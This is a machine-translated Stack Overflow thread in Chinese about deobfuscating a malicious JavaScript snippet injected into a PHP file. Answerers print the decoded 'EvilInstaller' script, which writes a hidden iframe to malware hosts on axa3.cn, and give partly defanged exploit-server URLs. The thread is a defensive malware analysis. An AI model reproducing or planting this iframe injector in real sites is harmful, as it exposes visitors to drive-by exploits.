我有一些代码位于javascript中的php文件的底部。它经历了许多奇怪的扭曲,比如将hex转换为ascii然后进行正则表达式替换,执行代码等等......

有没有办法在实际执行之前找出它正在执行的内容?

代码在这里:

http://pastebin.ca/1303597

有帮助吗?

解决方案

你可以逐步完成它 - 因为它是Javascript,并且它被解释,它需要是它自己的解密器。如果您可以访问命令行Javascript解释器(例如 Firebug 中的控制台),这将是公平的简单。

我会看看会发生什么。

编辑我已经完成了大部分工作 - 似乎最后一步是非平凡的,可能是因为它涉及“argument.callee”。无论如何,我已经在Pastebin上提出了我到目前为止所做的

有趣的是,我发现其中最难的部分是给出了胡言乱语的变量名。它让我想起了一个填字游戏,或者数独,你知道事情是如何相关的,但是在你弄清楚其依赖部分是什么之前,你无法明确地分配一些东西。 :-)我敢肯定,如果有人认出算法,他们可以给出更有意义的部分名称,但是在有很多XORing进行的位置,有两个临时变量,我刚刚将它们作为默认名称因为我不知道足够的上下文给它们有用的。

最终编辑:当我意识到我可以传入原始文本时,'arguments.callee'位变得容易了,我讽刺的是它正在解码(这是一个非常聪明的技术,所以正常的反混淆不起作用,因为一旦你重命名变量等,值就不同了)。无论如何,这是你的剧本:


    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "<div style='display:none'><iframe src='" + this.getFrameURL() + "'></iframe></div>"
                try {
                    document.open();
                    document.write(s);
                    document.close();
                }
                catch(e) {
                    document.write("<html><body>" + s + "</body></html>")
                }
                this.setCookie(this.cookieName, this.cookieValue);
            }
        },
        getRandString : function() {
            var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, '');
            var o='';
            for (var i=0;i<l;i++) {
                o+=c.substr(Math.floor(Math.random()*c.length),1,1);
            }
            return o;
        },
        cookieName:'hedcfagb',
        host:'axa3.cn',
        alreadyInstalled : function() {
            return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
        }
    };
    var evil=new EvilInstaller();
    evil.install();

基本上它看起来像从axa3.cn加载恶意软件。该网站已经被ISP怀疑,所以不知道上面有什么实际存在,超出了一般的不良。

(如果有人有兴趣,我使用Pastebin作为代码更改版本的伪VCS,所以你可以看到另一个中间步骤,在我的第一个编辑帖之后一点点。看到不同层次的混淆以及它们如何变化,这是非常有趣的。)

其他提示

虽然您可以手动解码,但是当您有许多解码阶段时,它很快就会变得乏味。我通常会替换eval / write来查看每个步骤:

<script>
    window.__eval= window.eval;
    window.eval= function(s) { if (confirm('OK to eval? '+s)) return this.__eval(s); }
    document.__write= document.write;
    document.write= function(s) { if (confirm('OK to write? '+s)) return this.__write(s); }
</script>

但是,通过仔细检查window.eval,可以防止这个特殊脚本受到攻击。使用arguments.callee也意味着脚本依赖于特定浏览器的Function.toString格式,在这种情况下是IE的 - 它不适用于其他浏览器。您可以在替换eval函数中添加变通方法,为脚本提供它在这种情况下的预期,但它仍然有点痛苦。

您可以使用脚本调试器来逐步执行代码,或者我在这种情况下所做的是允许代码在虚拟机中运行,没有我能负担得起的网络。通过在代码运行后查看document.body.innerHTML,我发现它添加了一个不可见的iframe指向:

hxxp://62bc13b764ad2799.bbe4e7d3df5fdea8.axa3.cn/elanguage.cn/

重定向到:

hxxp://google.com.upload.main.update.originalcn.cn/ebay.cn/index.php

,在IE中的适当条件下查看,为您提供了大量的漏洞利用。 请勿访问这些网址

简而言之,您的服务器已被axa3.cn攻击,axa3.cn是目前正在运营的众多中国托管但俄罗斯运营的恶意软件团伙之一。

只需编写一个perl脚本或将所有转义的十六进制字符更改为ascii的内容?然后只需查看正则表达式,看看到底发生了什么,并用你的perl /无论什么脚本做同样的事情。

您可以尝试使用firebug控制台并将其分解。作为开始:

var jQuery = eval('w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, ''));

只是掩盖了“eval”。功能为“jQuery”

最简单的方法是使用简单的c程序将转义的十六进制字符转换为可读文本,如下所示:

#include <stdio.h>

const char wtf[] = ""; // Really long string goes here

int main(void) {
    ::printf("%s\n", wtf);
}

产生这个(我添加了格式)。我会让你完成最后一部分,看起来更像是一样。

非常小心 - 如果有人为了混淆代码而遇到这么多麻烦,那可能是某种攻击脚本

你可以使用本地html文件分阶段输出执行结果,并一次把它作为一个部分

这样做我得到:

var jQuery = "eval(" + 
    'w;iLn0d;opw;.0epv_a_l;'.replace(/[;0_pL]/g, '') + 
    ");";
document.writeln('jQuery=' + jQuery);

产生

jQuery=eval(window.eval);

,正如crescentfresh观察到的那样,将变量jQuery绑定到window.eval函数。

下一节显然是试图用十六进制代码来评估一些东西,所以让我们看看十六进制代码字符串是什么样的(为了演示目的而手动重新格式化):

    function g4LZ(s9QNvAL)
    {
        function eDdqkXm(fX09)
        {
            var uaWG=0;
            var jtoS=fX09.length;
            var aCD6=0;
            while(aCD6wQ5.length)
                d971I=0;
            if(f234SD>lIXy6md.length)
                f234SD=0;
            kyCyJ+=String.fromCharCode(nCV2eO^ocx) + '';
        }
        eval(kyCyJ);
        return kyCyJ=new String();
    }
    catch(e){}
}
g4LZ('%33...%5e');

现在我们最后有了一个转义字符串,让我们看看那里有什么使用unescape(截断用于演示):

30248118GA0 * l:WRG:nt9 * 82:)7Z \ uF%* {...
坦率地说,我很无聊,把它拆开,所以反而我把它转储到本地的html文件,断开互联网,打开firefox,禁用javascript,在firefox中加载文件,打开firebug,重新加载页面等它会运行,并检查DOM。

该脚本创建一个IFRAME,其SRC设置为[为安全而改变!]:

http://4b3b9e839fd84e47 [DO NOT CLICK THIS URL] .27f721b7f6c92d76.axa3.cn/elanguage.cn/

axa3.cn是恶意软件黑名单中的中文域名

我知道它不是答案,但通常(我见过这种东西),它们被放置,如果该行未执行,所有脚本都会停止。他们为什么这样做?好吧,因为他们在脚本上打印版权(或者更常见的是模板)。

当人们为你所有的麻烦而给予认可是因为他们确实有移除版权许可,我会建议支付它,因为即使你“反向工程”也是如此。他们可以(并且有)其他方式来检查您的许可证是否属实。 (如果你这样做,其中一些软件实际上会发送某种消息)。

但是,在我得到任何火焰之前,我同意有趣的是回到这种证券并获得原始代码并打破它=)

许可以下: CC-BY-SA归因
不隶属于 StackOverflow
scroll top